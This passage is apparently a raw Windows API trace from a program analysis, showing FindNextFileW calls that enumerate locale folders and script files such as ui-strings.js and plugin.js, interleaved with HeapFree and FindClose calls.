dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0189.383] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.383] FindNextFileW (in: hFindFile=0x4121408, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1 [0189.383] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.383] FindNextFileW (in: hFindFile=0x4121408, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0189.384] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.384] FindNextFileW (in: hFindFile=0x4121408, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0189.384] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.384] FindNextFileW (in: hFindFile=0x4121408, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0189.384] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.384] FindNextFileW (in: hFindFile=0x4121408, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0189.384] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.384] FindNextFileW (in: hFindFile=0x4121408, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0189.385] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.385] FindNextFileW (in: hFindFile=0x4121408, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0189.385] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.385] FindNextFileW (in: hFindFile=0x4121408, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0189.385] FindClose (in: hFindFile=0x4121408 | out: hFindFile=0x4121408) returned 1 [0189.385] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ee0050 | out: hHeap=0x420000) returned 1 [0189.385] FindNextFileW (in: hFindFile=0x41212c8, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb0dbd2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb0dbd2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2b4e3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0189.385] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0189.385] FindNextFileW (in: hFindFile=0x4121788, lpFindFileData=0x30de420 | out: lpFindFileData=0x30de420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0189.385] FindClose (in: hFindFile=0x4121788 | out: hFindFile=0x4121788) returned 1 [0189.385] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4004800 | out: hHeap=0x420000) returned 1 [0189.386] FindNextFileW (in: hFindFile=0x41210c8, lpFindFileData=0x30de69c | out: lpFindFileData=0x30de69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b7c046, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b7c046, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b7c046, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="editpdf", cAlternateFileName="")) returned 1 [0189.695] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0189.695] FindNextFileW (in: hFindFile=0x41212c8, lpFindFileData=0x30de420 | out: lpFindFileData=0x30de420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b7c046, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b7c046, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b7c046, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0189.700] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.700] FindNextFileW (in: hFindFile=0x41216c8, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f0f931, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f0f931, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f0f931, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0189.700] FindClose (in: hFindFile=0x41216c8 | out: hFindFile=0x41216c8) returned 1 [0189.700] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ee0050 | out: hHeap=0x420000) returned 1 [0189.700] FindNextFileW (in: hFindFile=0x4121788, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f0f931, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f0f931, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f0f931, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0 [0189.701] FindClose (in: hFindFile=0x4121788 | out: hFindFile=0x4121788) returned 1 [0189.701] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0189.701] FindNextFileW (in: hFindFile=0x41212c8, lpFindFileData=0x30de420 | out: lpFindFileData=0x30de420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0189.704] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.704] FindNextFileW (in: hFindFile=0x4121708, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x214bcc3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x214bcc3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1 [0189.704] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.704] FindNextFileW (in: hFindFile=0x4121708, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0189.704] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.704] FindNextFileW (in: hFindFile=0x4121708, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x214bcc3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x214bcc3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0189.705] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.705] FindNextFileW (in: hFindFile=0x4121708, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0189.707] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.707] FindNextFileW (in: hFindFile=0x4121708, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1 [0189.708] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.708] FindNextFileW (in: hFindFile=0x4121708, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0189.708] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.708] FindNextFileW (in: hFindFile=0x4121708, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x214bcc3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x214bcc3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1 [0189.709] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.709] FindNextFileW (in: hFindFile=0x4121708, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24931b8, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24931b8, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24931b8, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0189.709] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.709] FindNextFileW (in: hFindFile=0x4121708, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1 [0189.711] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.711] FindNextFileW (in: hFindFile=0x4121708, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x214bcc3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x214bcc3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0189.712] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.712] FindNextFileW (in: hFindFile=0x4121708, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24df500, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0189.713] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.713] FindNextFileW (in: hFindFile=0x4121708, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x214bcc3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x214bcc3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0189.727] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.727] FindNextFileW (in: hFindFile=0x4121708, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x214bcc3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x214bcc3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1 [0189.727] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.728] FindNextFileW (in: hFindFile=0x4121708, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24931b8, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24931b8, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24931b8, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0189.728] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.728] FindNextFileW (in: hFindFile=0x4121708, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24931b8, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24931b8, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24931b8, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0189.729] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.729] FindNextFileW (in: hFindFile=0x4121708, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0189.730] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.730] FindNextFileW (in: hFindFile=0x4121708, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24931b8, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24931b8, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24931b8, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0189.779] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.779] FindNextFileW (in: hFindFile=0x4121708, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0189.981] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.981] FindNextFileW (in: hFindFile=0x4121708, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x214bcc3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x214bcc3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0189.982] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.982] FindNextFileW (in: hFindFile=0x4121708, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24df500, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0189.982] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.982] FindNextFileW (in: hFindFile=0x4121708, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0189.982] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.982] FindNextFileW (in: hFindFile=0x4121708, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0189.982] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.982] FindNextFileW (in: hFindFile=0x4121708, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24931b8, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24931b8, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24931b8, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0189.983] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.983] FindNextFileW (in: hFindFile=0x4121708, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0189.983] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: 